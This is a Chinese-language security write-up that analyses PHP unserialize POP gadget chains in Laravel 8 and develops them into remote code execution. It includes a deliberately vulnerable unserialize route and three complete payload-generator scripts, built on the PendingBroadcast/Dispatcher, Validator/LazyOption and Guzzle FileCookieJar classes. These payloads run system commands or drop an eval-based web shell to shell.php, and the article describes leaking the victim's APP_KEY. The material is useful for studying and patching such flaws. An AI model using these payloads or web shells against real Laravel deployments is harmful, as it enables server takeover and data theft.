作者:Dig2@星盟
作為目前PHP最主流的框架之一,Laravel的主體及其依賴組件一直保持著較頻繁的更新。自從2020年9月份Laravel 8發布以來,已經更新了四十多個版本,平均每個月都有八次左右的更新。除了優化,還有重要的原因在於安全性。例如CVE-2021-3129可以在Laravel的Debug模式下任意代碼執行。這個CVE的命令執行步驟中有一部分依賴於Phar反序列化的執行。相比較於目前被分析較多的Larave 5.X版本的POP鏈,Laravel 8 部分組件版本較新,部分類加上了__wake方法進行過濾或者直接禁止了反序列化,故利用方式有所差異。本文分析並挖掘了當前Laravel 8版本中的反序列化鏈。
使用composer默認安裝方式
Laravel版本8.5.9,framework版本8.26.1,具體組件版本可參照Packagist Laravel
手動添加反序列化點:
/routes/web.php:
<?php
use Illuminate\Support\Facades\Route;use App\Http\Controllers\IndexController;
Route::get('/', [IndexController::class, 'index']);/app/Http/Controllers/IndexController.php:
<?php
namespace App\Http\Controllers;use Illuminate\Http\Request;
class IndexController extends Controller{ public function index(Request $request){ $p = $request->input('payload'); unserialize($p); }}鏈一
尋找__destruct
入口類為:\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php的class PendingBroadcast
這是一個很經典的入口類了,如果讀者有研究Laravel 5的反序列化鏈,可能會知道這個類。其__destruct方法:
我們可以控制$this->events和$this->event。如果使$this->events為某個擁有dispatch方法的類,我們可以調用這個類的dispatch方法。
尋找dispatch方法
\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php的class Dispatcher存在dispatch方法
$command可控,$this->queueResolver可控,$this->commandShouldBeQueued要求$command為ShouldQueue的實例
全局搜索,隨便找一個ShouldQueue的子類即可
然後就能夠進入$this->dispatchToQueue方法
$this->queueResolver和$connection均可控。payload如下:
<?phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } }
class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } }}
namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}
namespace { $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher('system'); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a)));}加強
上面的利用方法中,執行call_user_func($this->queueResolver, $connection);時,執行的函數只有$connection一個參數。如果現在需要執行一個多參數函數比如file_put_contents就沒辦法了。
注意到這裡call_user_func的第一個參數除了可以是函數名字符串,還有兩種可以利用方式:
使第一個參數為一個類,就能調用該類的__invoke方法
使第一個參數為數組,例如[class A, 'foo'],表示調用類A的foo方法。下面分別介紹這兩種方式例子
法一:調用__invoke
這裡的利用稍為複雜
在\vendor\opis\closure\src\SerializableClosure.php的class SerializableClosure找到了一個非常漂亮的__invoke函數
這裡的$this->closure和func_get_args()均可控,我本來以為能夠直接RCE了,然而後面還有兩個棘手的問題。
一個是該類使用的不是標準序列化反序列化方法,而是實現了自己的序列化和反序列化方法:
其實這個問題不難解決,我們可以在生成payload的時候,使用composer引入該組件:
composer require opis/closure然後在生成payload的代碼中加入:
require "./vendor/autoload.php";再:
$func = function(){file_put_contents("shell.php", "<?php eval(\$_POST['Dig2']) ?>");};$d = new \Opis\Closure\SerializableClosure($func);就能生成該類實例了
第二個棘手的問題在於,Laravel 8和Laravel 5有一個區別。Laravel 8在序列化和反序列化該類時,使用了驗證secret。
該secret由環境變量配置文件,也就是.env中的APP_KEY決定,Laravel安裝的時候,會在.env文件中生成一個隨機的APP_KEY,例如:
APP_KEY=base64:2qnzxAY/QWHh/1F174Qsa+8LkuMoxOCU9qN6K8KipI0=我們在本地生成payload的時候,也要手動生成一個static::$securityProvider,並且secret和遠程受害者要是一樣的才行。方法為,在本地的class SerializableClosure的源碼SerializableClosure.php文件中加入這麼一行(字符串為受害機.env文件中的密鑰):
那麼如何獲取受害機的APP_KEY呢?我們在上面既然實現了單參數的任意函數執行,那麼file_get_content('.env')就行了。當然,如果有其他漏洞點能夠洩露配置文件就更方便了。
綜上所述,生成payload腳本:
<?phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } }
class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } }}
namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}
namespace { require "./vendor/autoload.php"; $func = function(){file_put_contents("shell.php", "<?php eval(\$_POST['Dig2']) ?>");}; $d = new \Opis\Closure\SerializableClosure($func);
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher($d); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a)));}法二:調用另一個類某可控函數
這裡使用了JrXnm師傅在其文章Laravel 5.8 RCE POP鏈匯總分析中提到的方法,使用vendor\phpoption\phpoption\src\PhpOption\LazyOption.php的class LazyOption,在下面鏈二的加強中演示。payload一併放在文末的github地址中。
鏈二尋找__destruct
同鏈一,入口類為:\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php的class PendingBroadcast
我們可以控制$this->events和$this->event。如果使$this->events為某個類,並且該類沒有實現dispatch方法卻有__call方法,那麼就可以調用這個__call方法了
尋找__call
隨後找到位於\vendor\laravel\framework\src\Illuminate\Validation\Validator.php中的class Validator
它有__call方法:
$parameters可控,$method為固定字符串dispatch,取substr($method, 8)後,為空字符串,故$rule為''。$this->extensions可控,跟蹤$this->callExtension()方法
$callback和$parameters都是可控的,於是一條利用鏈就出來了。payload如下:
<?phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } }}
namespace Illuminate\Validation { class Validator { public $extensions; public function __construct($extensions){ $this->extensions = $extensions; } }}
namespace { $b = new Illuminate\Validation\Validator(array(''=>'system')); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami'); print(urlencode(serialize($a)));}加強
對於鏈二的總結就是:
$callback(... array_values($parameters));$callback可控,$parameters最多只能為單成員的數組。所以這裡也具有無法執行多參數函數比如file_put_contents的問題。
注意到這裡利用的是PHP中的可變函數,經過實驗,如下代碼可行:
<?phpclass A{ public function __invoke(){ echo "invoke".PHP_EOL; } public function test(){ echo "test".PHP_EOL; }}
$callback1 = new A;$callback1('');
$callback2 = array(new A, 'test');$callback2('');因此,可以控制上面利用鏈中的$callback為數組,就可以調用某其他類任意函數了。
vendor\phpoption\phpoption\src\PhpOption\LazyOption.php的class LazyOption是一個很好的選擇。
其option方法可以調用call_user_func_array函數,且兩個參數都可控
雖然option是private屬性的方法,在其它類中無法直接調用,但是可以發現在該類自身中,許多函數都在調用option函數
於是構造成功,payload如下所示
<?phpnamespace PhpOption { class LazyOption { private $callback; private $arguments;
public function __construct($callback, $arguments) { $this->callback = $callback; $this->arguments = $arguments; } }}
namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event;
public function __construct($events, $event) { $this->events = $events; $this->event = $event; } }}
namespace Illuminate\Validation { class Validator { public $extensions;
public function __construct($extensions){ $this->extensions = $extensions; } }}
namespace { $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['Dig2']) ?>"]); $b = new Illuminate\Validation\Validator(array(''=>[$c, 'select'])); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'not important'); print(urlencode(serialize($a)));}鏈三入口類為\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php的class FileCookieJar。此類在Laravel 5中沒有出現。其有__destruct函數:
$this->filename可控,跟蹤save函數:
有file_put_contents函數。一路順下去,能看到該類的接口是實現了IteratorAggregate的,如下
interface CookieJarInterface extends \Countable, \IteratorAggregate也就是說它實現了自己的foreach ($this as $cookie)方法,這裡同樣用composer安裝一下該組件再進行獲取序列化字符串比較方便。因為我們要通過其父類的SetCookie方法來設置這裡的$cookie值。其餘沒有什麼值得注意的地方,比較簡單,payload如下:
<?phpnamespace{ require "./vendor/autoload.php"; $a = new \GuzzleHttp\Cookie\FileCookieJar("shell.php"); $a->setCookie(new \GuzzleHttp\Cookie\SetCookie([ 'Name'=>'123', 'Domain'=> "<?php eval(\$_POST['Dig2']) ?>", 'Expires'=>123, 'Value'=>123 ])); print(urlencode(serialize($a)));}
Laravel 8相對於Laravel 5而言,增加了幾個組件,又去掉了另幾個組件。利用鏈有部分重疊,也有修復與增補。整體分析下來,思路是非常清晰的,從__destruct函數到__invoke或者__call等,再到危險函數完成RCE,中間或許需要跳板反覆利用。密鑰等信息的洩露也會帶來RCE的風險。
上面代碼集合:https://github.com/WgagaXnunigo/laravel8_POP_RCE
(點擊「閱讀原文」查看連結)